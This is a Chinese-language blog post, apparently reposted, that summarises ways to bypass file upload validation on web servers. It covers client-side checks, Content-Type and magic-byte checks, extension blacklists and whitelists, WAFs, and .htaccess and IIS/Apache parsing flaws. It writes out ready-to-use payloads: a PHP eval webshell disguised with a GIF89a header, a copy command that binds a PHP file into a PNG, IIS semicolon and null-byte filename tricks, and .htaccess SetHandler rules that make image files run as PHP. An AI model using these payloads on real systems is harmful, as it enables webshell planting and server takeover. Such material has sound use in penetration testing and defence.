1. 程式人生 > >檔案上傳校驗繞過總結

檔案上傳校驗繞過總結

檔案上傳校驗

  • 前端javascript校驗(一般只校驗字尾名)

  • 服務端校驗

    • 檔案頭content-type欄位校驗(image/gif)

    • 檔案內容頭校驗(GIF89a)

    • 字尾名黑名單校驗

    • 字尾名白名單校驗

  • WAF裝置校驗(根據不同的WAF產品而定)

  • 其他繞過方式

1.客戶端校驗
           判斷方式:上傳檔案時還未點選上傳按鈕便彈出對話方塊,內容如:只允許上傳.jpg/.jpeg/.png字尾名的檔案,而此時並沒有傳送資料包。

繞過方式:1、可以用firebug將form表單中的JS事件刪除,這樣就可以繞過驗證。

                  2、利用burp抓包改包,先上傳一個gif型別的木馬,然後通過burp將其改為asp/php/jsp字尾名即可。

2.檔案頭content-type欄位校驗

繞過方式:通過抓包,將content-type欄位改為image/gif或者image/png等允許上傳的檔案型別

3.檔案內容頭校驗

繞過方式:

  • 在一句話木馬前面再加一些圖片檔案資訊,如
GIF89a<?php @eval($_POST['caidao']);?>
  •  Windows捆綁

    copy 1.png /b + 2.php /a 3.png

    常見的檔案頭對應關係: 

(1)  .JPEG;.JPE;.JPG   ------------    ”JPGGraphic File”
(2)  .gif  --------------      ”GIF 89A”
(3)  .zip  -------------      ”Zip Compressed”
(4)  .doc;.xls;.xlt;.ppt;.apr   --------------      ”MS Compound Document v1 or Lotus Approach APRfile”

4. 字尾名黑名單校驗

  • 找黑名單副檔名的漏網之魚 - 比如 asa 和 cer 之類
  • 可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類

  • 在window下,若檔名以"."或者空格作為結尾,系統會自動去除"."與空格, 所以可以上傳以“asp.”和“asp_”為副檔名的檔案

  • IIS6.0解析漏洞

  1. 在網站下建立資料夾的名字為*.asp、*.asa 的資料夾,其目錄內的任何副檔名的檔案都被IIS當作asp檔案來解析並執行。例如建立目錄vidun.asp,那麼/vidun.asp/f1jpg將被當作asp檔案來執行。(Burp抓包後,在目錄後面新增資料夾,如upload/1.asp,而檔名還是f1.jpg
  2. 上傳一個 名字叫 "vidun.asp;.jpg"的木馬檔案,該檔案可以被當作asp檔案解析並執行。


能被解析的副檔名列表:

jsp  jspx  jspf
asp  asa  cer  aspx
php  php  php3  php4
exe  exee

5. 字尾名白名單校驗

  • 0x00截斷繞過
  • 此時若在iis6.0,則可以將木馬名改為test.asp;1.jpg來上傳,從而通過驗證
  • 配合解析漏洞

6.WAF裝置校驗

  • 垃圾資料

可以構造一個大檔案,前面1M的內容為垃圾內容,後面才是真正的木馬內容;

也可以將垃圾資料放在資料包最開頭,這樣便可以繞過對檔名的校驗。

7.其他繞過方式

.htaccess檔案攻擊

先上傳一個.htaccess檔案,通過它呼叫php解析器去解析一個檔名中只要包含"haha"這個字串的任意檔案,無論副檔名是什麼(沒有也行),都會以php的方式來解析

.haccess檔案程式碼如下:

<FilesMatch "haha">

SetHandler application/x-httpd-php

</FilesMatch>

或者如下,上傳一個檔名為evil.gif的圖片馬:

<FilesMatch "evil.gif">

SetHandler application/x-httpd-php

</FilesMatch>

然後再上傳haha.png即可

Apache解析漏洞

  1. Apache不管檔案最後的字尾名是什麼 ,只要是.php.*為結尾,就會被apache伺服器解析成PHP的檔案
  2. Apache的Mime.type配置檔案定義了Apache能夠解析哪些檔案的型別。
  3. 當apache遇到xx.php.rar或者Xxx.php.111這些預設沒有在mime.types檔案定義的都會解析成php的檔案。